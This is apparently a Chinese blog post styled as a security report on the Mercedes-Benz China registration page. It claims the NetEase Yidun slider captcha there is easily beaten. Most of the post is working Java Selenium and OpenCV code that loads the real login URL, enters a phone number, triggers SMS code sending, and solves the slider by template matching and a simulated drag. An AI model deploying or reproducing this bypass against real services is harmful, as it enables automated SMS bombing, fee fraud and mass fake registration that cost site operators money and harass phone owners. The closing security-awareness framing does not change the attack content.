【奔驰中国-注册安全分析报告】

前言

由于网站注册入口容易被黑客攻击，存在如下安全问题：

暴力破解密码，造成用户信息泄露
短信盗刷的安全问题，影响业务及导致用户投诉
带来经济损失，尤其是后付费客户，风险巨大，造成亏损无底洞

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案，但在机器学习能力提高的当下，连百度这样的大厂都遭受攻击导致点名批评，图形验证及交互验证方式的安全性到底如何？请看具体分析

一、奔驰中国 PC端注册入口

简介：作为汽车发明者，梅赛德斯-奔驰中国拥有138年的辉煌历史，如今三叉星徽广布中国大地。面向未来，梅赛德斯-奔驰中国也将一如既往地为广大的中国消费者献上出众的产品、服务以及品牌体验，实现对中国市场的长期承诺。同时，梅赛德斯-奔驰中国将通过梅赛德斯-奔驰中国星愿基金持续践行企业社会责任，积极投身于诸多社会公益事业，助力中国社会的健康、可持续发展。
梅赛德斯-奔驰中国，创新的激情永不灭。作为汽车发明者，我们从未停下脚步，探索，创造，颠覆，革新。

在这里插入图片描述

二、安全性分析报告：
采用网易的滑动行为验证方式，容易被模拟器绕过甚至逆向后暴力攻击，滑动拼图识别率在 95% 以上。

在这里插入图片描述

三、测试方法：
前端界面分析为网易易盾的滑动验证码，网上有大量现成的逆向文章及视频参考，不过我们这次不用逆向，只是采用模拟器的方式，关键点主要模拟器交互、距离识别和轨道算法3部分
在这里插入图片描述

模拟器交互部分


private final String INDEX_URL = "https://id.mercedes-benz.com.cn/modelD/Loginpc";

	@Override
	public RetEntity send(WebDriver driver, String areaCode, String phone) {
		try {
			RetEntity retEntity = new RetEntity();
			driver.get(INDEX_URL);

			// 输入手机号
			WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.id("phoneNumber"), 10);
			phoneElemet.sendKeys(phone);

			// 发送验证码
			Thread.sleep(1000);
			WebElement sendElement = ChromeDriverManager.waitElement(driver, By.className("btnDiv"), 10);
			sendElement.click();

			Thread.sleep(1000);
			WebElement tipElement = ChromeDriverManager.waitElement(driver, By.className("yidun_tips__content"), 15);
			String tip = (tipElement != null) ? tipElement.getText() : null;
			System.out.println("yidun tip=" + tip);
			if (tip == null || tip.contains("加载中")) {
				return retEntity;
			}

			boolean yidunResult = false;
			if (tip.contains("拖动滑块")) {
				yidunResult = netEasy.moveExec(driver, 1.0, 2);
			} else {
				yidunResult = netEasyClick.wordClick(driver);
			}
			Thread.sleep(500);
			WebElement gtElement = ChromeDriverManager.waitElement(driver, By.xpath("//div[@class='btnDiv isDisable' and contains(text(),'重新发送')]"), 20);
			String info = (gtElement != null) ? gtElement.getText() : null;
			retEntity.setMsg(info);
			if (info != null && info.contains("重新发送")) {
				retEntity.setRet(0);
				return retEntity;
			} else {
				System.out.println("yidunResult=" + yidunResult + "->info=" + info);
			}
			return retEntity;
		} catch (Exception e) {
			System.out.println("send() phone=" + phone + ",e=" + e.toString());
			for (StackTraceElement ele : e.getStackTrace()) {
				System.out.println(ele.toString());
			}
			return null;
		} finally {
			driver.manage().deleteAllCookies();
		}
	}

2. 距离识别


/**
	 * Open Cv 图片模板匹配
	 * 
	 * @param tpPath
	 *            模板图片路径
	 * @param bgPath
	 *            目标图片路径
	 * @return { width, maxX }
	 */
	public String[] getWidth(String tpPath, String bgPath, String resultFile) {
		try {
			Rect rectCrop = clearWhite(tpPath);
			Mat g_tem = Imgcodecs.imread(tpPath);
			Mat clearMat = g_tem.submat(rectCrop);

			Mat cvt = new Mat();
			Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);
			Mat edgesSlide = new Mat();
			Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);
			Mat cvtSlide = new Mat();
			Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);
			Imgcodecs.imwrite(tpPath, cvtSlide);

			Mat g_b = Imgcodecs.imread(bgPath);
			Mat edgesBg = new Mat();
			Imgproc.Canny(g_b, edgesBg, threshold1, threshold2);
			Mat cvtBg = new Mat();
			Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);

			int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;
			int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;
			Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);
			Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法
			// 归一化相关匹配法
			MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);
			Point maxLoc = minMaxLoc.maxLoc;
			Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);
			Imgcodecs.imwrite(resultFile, cvtBg);
			String width = String.valueOf(cvtSlide.cols());
			String maxX = String.valueOf(maxLoc.x + cvtSlide.cols());
			System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX);
			return new String[] { width, maxX };
		} catch (Throwable e) {
			System.out.println("getWidth() " + e.toString());
			logger.error("getWidth() " + e.toString());
			for (StackTraceElement elment : e.getStackTrace()) {
				logger.error(elment.toString());
			}
			return null;
		}
	}

轨道生成及移动算法


public boolean moveExec(WebDriver driver) {
		// 获取滑动按钮
		try {
			WebElement moveElemet = ChromeDriverManager.waitElement(driver, By.className("yidun_slider"), 400);
			if (moveElemet == null) {
				return false;
			} else {
				Actions actions = new Actions(driver);
				actions.clickAndHold(moveElemet).perform();
			}
			Thread.sleep(1000);

			// 获取带阴影的背景图

			WebElement bg = ChromeDriverManager.waitElement(driver, By.className("yidun_bg-img"), 400);
			String bUrl = bg.getAttribute("src");
			if (bUrl == null) {
				System.out.println("bUrl=" + bUrl);
				return false;
			}
			// 获取小图

			WebElement s = ChromeDriverManager.waitElement(driver, By.className("yidun_jigsaw"), 400);
			String sUrl = s.getAttribute("src");
			if (sUrl == null) {
				System.out.println("sUrl=" + sUrl);
				return false;
			}
			Map<String, String> outMap = getMoveDistance(bUrl, sUrl);
			String openWidth = outMap != null ? outMap.get("width") : null;
			String openDistance = outMap != null ? outMap.get("distance") : null;
			// 计算匹配到的位置
			int distance = (openWidth != null && openDistance != null) ? (int) (Double.parseDouble(openDistance) - Integer.parseInt(openWidth) + 2) : 0;
			System.out.println("getMoveDistance() distance=" + distance + "outMap=" + outMap);
			if (distance == 0) {
				System.out.println("err distance=" + distance + "|openWidth=" + openWidth + ",openDistance=" + openDistance);
				return false;
			}

			moveElemet.click();
			// 滑动
			ActionMove.move(driver, moveElemet, distance);
			String moveStr = null;
			WebElement yidunElement;
			for (int i = 0; i <= 40; i++) {
				yidunElement = ChromeDriverManager.waitElement(driver, By.className("yidun--light"), 400);
				moveStr = (moveStr != null) ? yidunElement.getAttribute("class") : null;
				if (moveStr != null && moveStr.contains("yidun--success")) {
					System.out.println("succ distance=" + distance);
					driver.findElement(By.id("nickname")).click();
					Thread.sleep(500);
					driver.findElements(By.className("sms-code")).get(1).click();
					Thread.sleep(500);
					break;
				}
				System.out.print(".");
				Thread.sleep(50);
			}
			return true;
		} catch (Exception e) {
			return false;
		}

	}

OpenCv 轮廓匹配测试样例：

四丶结语

作为汽车发明者，梅赛德斯-奔驰拥有138年的辉煌历史，如今三叉星徽广布中国大地。奔驰中国作为知名品牌的中国分公司，拥有很强的实力, 从测试来看，该网站基本采用用户比较友好的滑动验证方式，该产品稳定并且市场占有率很高，在一定程度上提高了用户体验，但安全性在机器学习的今天，已经无法应对攻击了，并且正是由于该产品通俗，所以在网上破解的文章和教学视频也是大量存在，并且经过验证滑动产品很容易被破解，所以除了滑动验证方式，花样百出的产品层出不穷，但本质就是牺牲用户体验来提高安全。

很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。
比如：“ 需求这么赶，当然是先实现功能啊 ”，“ 业务量很小啦，系统就这么点人用，不怕的 ” ， “ 我们怎么会被盯上呢，不可能的 ”等等。

有一些理由虽然有道理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。

所以大家在安全方面还是要重视。（血淋淋的栗子！）#安全短信#

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谷歌图形验证码在AI 面前已经形同虚设，所以谷歌宣布退出验证码服务，那么当所有的图形验证码都被破解时，大家又该如何做好防御呢？

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